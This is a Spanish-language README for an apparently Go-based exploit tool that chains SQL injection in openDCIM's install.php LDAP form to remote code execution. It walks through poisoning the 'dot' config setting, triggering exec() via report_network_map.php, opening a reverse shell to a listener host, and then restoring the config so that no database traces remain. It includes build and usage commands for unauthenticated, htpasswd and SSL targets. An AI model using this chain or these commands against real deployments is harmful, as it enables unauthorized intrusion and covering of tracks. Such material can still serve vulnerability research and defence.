openDCIM - SQLi a RCE mediante Envenenamiento de Configuración

Cadena de ejecución remota de código dirigida al formulario de configuración LDAP de install.php de openDCIM. Construido sobre el framework VulnCheck go-exploit.

Cadena de vulnerabilidades

Afectados: Todas las versiones (probado en el último commit 4467e9c4)

Cómo funciona

1. POST a install.php - la inyección SQL a través del formulario LDAP respalda la configuración, sobrescribe dot con un payload de comando
2. GET report_network_map.php - activa exec(), confirma RCE mediante la salida de id
3. POST a install.php - sobrescribe dot con un payload de reverse shell
4. GET report_network_map.php - activa el reverse shell
5. POST a install.php - restaura todos los valores de configuración originales desde la tabla de respaldo

Cero rastros dejados en la base de datos después de la explotación.

Compilación

go build -o opendcim-exploit .

Uso

Despliegues con Docker (sin autenticación)

# Solo escaneo
./opendcim-exploit -a -rhost 10.0.0.1 -rport 80

# Explotación con reverse shell
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer

Despliegues con htpasswd (cualquier usuario válido)

./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer -username user -password pass

SSL

./opendcim-exploit -e -rhost 10.0.0.1 -rport 443 -ssl -lhost 10.0.0.2 -lport 4444 -c2 SSLShellServer

Opciones